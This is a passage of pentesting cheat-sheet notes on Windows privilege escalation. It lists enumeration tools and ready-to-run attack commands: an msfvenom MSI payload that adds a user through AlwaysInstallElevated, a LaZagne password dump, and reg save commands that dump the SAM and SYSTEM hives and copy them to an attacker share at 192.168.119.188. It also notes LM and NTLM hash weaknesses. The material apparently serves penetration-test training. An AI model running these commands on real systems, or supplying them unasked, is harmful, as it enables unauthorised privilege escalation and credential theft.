COMMON ENUMERATION TOOLS

Automate the upload with this
jaws-enum.ps1 – simple powershell script
windows-exploit-suggester.py – simple python script leveraging systeminfo output
wes.py – same as windows-exploit-suggester, but updated
nishang scripts – for all stages of pen testing
windows-priv-checker2 – great for an html file display

# POSSIBLY RUN A FILE
powershell -ExecutionPolicy Bypass -File <file.ps1>

# JAWS
powershell -ExecutionPolicy Bypass -File jaws-enum.ps1

# WINDOWS-SUGGESTER
# RUN ON KALI W/systeminfo FILE FROM WINDOWS
windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database <seen_from_update> --systeminfo  systeminfo.txt

# WES
# AQUIRE systeminfo FROM TARGET
wes.py --update
wes.py systeminfo.txt

# WINDOWS PRIVESC CHECKER 2
# OR CHANGE NAME FOR EASE:  wpc2.exe 
.\windows-privesc-check2.exe --audit -a -o wpc-report

# LAZAGNE
.\lazagne_pw_dump.exe all

ENABLE WINDOWS INSTALLER

… msi files are used for installations
… these can be created and the system may be able to install them
… use msi for a reverse shell

# ALWAYSINSTALLELEVATED - System Setting
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

# CREATE PAYLOAD TO ADD USER
msfvenom -p windows/adduser USER=newuser PASS=newpassword -f msi -o malicious.msi

# INSTALL TO EXECUTE
msiexec /quiet /qn /i C:\malicious.msi

SAM DUMPS

… SAM dumps are not possible when system is running
… programs can dump them by memory, or you can use the registry
… use msi for a reverse shell

LAN Manager (LM)DES
Windows NT-2003
Passwords longer than 7 chars split into two strings and is hashed separately
Passwords converted to uppercase before hashing
No salt

NT LAN Manager (NTLM)MD4
Windows Vista+
No limit to two 7 char parts
Case sensitive
No salt

# DUMP SAMS (REQUIRES PRIV ACCESS)
reg save hklm\sam c:\tmp\sam
reg save hklm\system c:\tmp\system

# TRANSFER TO KALI
copy sam \\192.168.119.188\share
copy system \\192.168.119.188\share

# COMBINE THE FILES
